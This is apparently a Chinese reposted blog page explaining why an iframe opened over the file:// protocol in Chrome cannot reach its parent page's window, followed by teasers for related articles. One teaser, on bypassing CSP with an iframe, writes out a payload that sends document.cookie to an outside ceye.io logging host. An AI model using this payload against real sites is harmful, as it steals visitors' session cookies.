js获取iframe的parent对象

摘要:
在使用谷歌浏览器调试代码时,我意外发现了一个奇怪的问题:从iframe页面窗口调用父页面方法。父母亲text(),阻止访问原点为“null”的框架。协议、域和端口匹配

使用谷歌浏览器调试代码时无意间发现了一个奇特的问题:从iframe页面调用父级页面的方法,window.parent.text(),出现

Blocked a frame with origin "null" from accessing a frame with origin "null". Protocols, domains, and ports must match.,
这主要是没有获取iframe所在页面的parent的造成的
 
如果在本地用file协议使用谷歌浏览器打开含有iframe标签的页面,
则被iframe标签引用的页面无法访问iframe标签所在页面的parent对象,
使用服务器(比如Tomcat)环境问题就可以解决。

免责声明:文章转载自《js获取iframe的parent对象》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇git-----初始化配置添加用户名和密码xen虚拟机管理命令下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

layui学习--tab选项卡

var element; var $; layui.use(['element','jquery'],function(){ element = layui.element, $ = layui.jquery; //监听左侧菜单点击 element.on('nav(left-menu)', function(elem){...

JS经纬度坐标转换

var GPS = { PI : 3.14159265358979324, x_pi : 3.14159265358979324 * 3000.0 / 180.0, delta : function (lat, lon) { // Krasovsky 1940 // // a = 63...

通过iframe标签绕过csp

iframe.php代码如下: allow-popups开启时,window.open就可以打开新的窗口。 看csp规则,默认是在当前域内,如果这是一个ctf题的话,就很简单了,window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。 但是要是远程加载js文件是不...

原生JS编写图片切换效果和点击按钮的样式变化

  这两天更进一步的了解了JS,老师让我们用原生的js编写图片切换和改变点击按钮样式,就是让我们学会怎么去把一个问题拆分,怎么将一个大问题拆分成许多的小问题,再用函数封装起来。比如一个点击按钮,让其点击时背景色发生改变,点击另一个时,上一个按钮要变回原来本有的颜色:这个问题用jquery,一行代码就搞定,但是用原生js就得分三个部分来考虑:   1.添加改...

js脚本控制图片水平与垂直居中

使用方法: 1.定义ResizeImg(obj)方法 1 function ResizeImg(obj) { 2 var boxHeight = $(".box").height(); 3 var boxWidth = $(".box").width(); 4 var imgHeight = $(obj).height...

Java中通过脚本引擎调用js函数

1 import java.io.*; 2 importjavax.script.Invocable; 3 importjavax.script.ScriptEngine; 4 importjavax.script.ScriptEngineManager; 5 importjavax.script.ScriptException; 6 importorg....